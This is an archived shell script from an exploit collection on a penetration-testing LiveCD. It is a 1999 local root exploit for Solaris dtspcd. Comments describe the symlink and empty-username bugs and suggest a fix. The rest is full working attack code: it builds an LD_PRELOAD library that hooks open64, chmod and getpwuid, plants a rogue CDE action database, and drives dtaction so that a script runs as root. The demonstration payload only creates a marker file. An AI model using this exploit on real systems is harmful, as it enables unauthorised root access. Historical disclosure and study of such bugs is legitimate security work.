home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / dtspaced.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  3KB  |  128 lines

  1. #!/bin/sh
  2. #
  3. # dtspaced
  4. # Demonstration of local root hole with dtspcd.
  5. # Job de Haas
  6. # (c) 1999 ITSX bv
  7. #
  8. # Mechanism is as follows:
  9. #   - dtaction requests the action 'Execute' through dtspcd.
  10. #   - dtscpd request a filename to be created which it will check for
  11. #     owner/suid bit.
  12. #   - BUG1: dtspcd allows creation in a public directory (with empty
  13. #           username).
  14. #   - BUG2: and forgets to check if the file is a symlink.
  15. #   - dtaction will create a symlink to a suid root binary and reply.
  16. #   - dtspcd considers dtaction authenticated and executes requested file
  17. #     as root.
  18. #
  19. # suggested fix: use lstat or refuse a symlink and why allow an empty
  20. #                username?
  21. #
  22. # exploit uses a shared lib to replace some functions to do what we want.
  23. # Note that these are not used by dtspcd but by dtaction. The script executed
  24. # by dtaction as root creates a file /tmp/root_was_here.
  25. #
  26. # tested on Solaris 2.5.1, 2.6 and 7
  27. #
  28.  
  29. if [ -f /tmp/root_was_here -o -d /tmp/root_was_here ]; then
  30.    echo "/tmp/root_was_here already exists"
  31.    exit
  32. fi
  33.  
  34. if [ "X$DISPLAY" = "X" ]; then
  35.    echo "need to set DISPLAY"
  36.    exit
  37. fi
  38.  
  39. cat > /tmp/dtspaced.c << EOF
  40. #include <pwd.h>
  41. #define O_CREAT 0x100
  42. #define O_RDONLY 0
  43.  
  44. #if __SunOS_5_5_1
  45. #define open64  open
  46. #define _open64 _open
  47. #endif
  48.  
  49. open64(const char * filename, int flag, int mode)
  50. {
  51.     if ((flag & O_CREAT) && ( strstr( filename, "SPC") )) {
  52.         symlink( "/usr/bin/passwd", filename);
  53.         filename = (char *)strdup("/tmp/shit");
  54.         unlink(filename);
  55.     }
  56.     return(_open64(filename, flag, mode));
  57. }
  58.  
  59. chmod(const char * filename, int mode)
  60. {
  61.     _chmod( filename, mode);
  62.     return(0);
  63. }
  64.  
  65. struct passwd *getpwuid(uid_t uid)
  66. {
  67.     struct passwd *pw;
  68.  
  69.     pw = (struct passwd *)_getpwuid(uid);
  70.     pw->pw_name = (char *)strdup("");
  71.     return(pw);
  72. }
  73. EOF
  74.  
  75. cat > /tmp/doit << EOF
  76. #!/bin/sh
  77. unset LD_PRELOAD
  78. /usr/bin/touch /tmp/root_was_here
  79. EOF
  80.  
  81. chmod a+x /tmp/doit
  82.  
  83. mkdir /tmp/.dt
  84. cat > /tmp/.dt/hack.dt << EOF
  85.  
  86. set DtDbVersion=1.0
  87.  
  88. ACTION Execute
  89. {
  90.     LABEL        Execute
  91.         TYPE            COMMAND
  92.         WINDOW_TYPE     NO_STDIO
  93.         EXEC_STRING     \
  94.       "%(File)Arg_1"File To Execute:"%"
  95.     DESCRIPTION    The Execute action runs a shell script or \
  96.                         binary executable. It prompts for options and \
  97.                         arguments, and then executes the script or \
  98.                         executable in a terminal window.
  99. }
  100. EOF
  101.  
  102. DTDATABASESEARCHPATH=/tmp/.dt
  103. export DTDATABASESEARCHPATH
  104.  
  105. # make a copy of dtaction so it is not suid root and will accept LD_PRELOAD
  106. cp /usr/dt/bin/dtaction /tmp
  107.  
  108. echo "Compiling shared lib..."
  109. cc -c /tmp/dtspaced.c -o /tmp/dtspaced.o
  110. ld -G /tmp/dtspaced.o -o /tmp/dtspaced.so
  111.  
  112. LD_PRELOAD=/tmp/dtspaced.so
  113. export LD_PRELOAD
  114.  
  115. echo "Executing dtaction..."
  116. /tmp/dtaction -execHost 127.0.0.1 Execute /tmp/doit
  117. unset LD_PRELOAD
  118.  
  119. /bin/rm -f /tmp/doit /tmp/dtaction /tmp/shit /tmp/dtspaced.*
  120. /bin/rm -rf /tmp/.dt
  121.  
  122. if [ -f /tmp/root_was_here ]; then
  123.    echo "created file /tmp/root_was_here"
  124. else
  125.    echo "exploit failed..."
  126. fi
  127.  
  128. #                 www.hack.co.za           [2000]#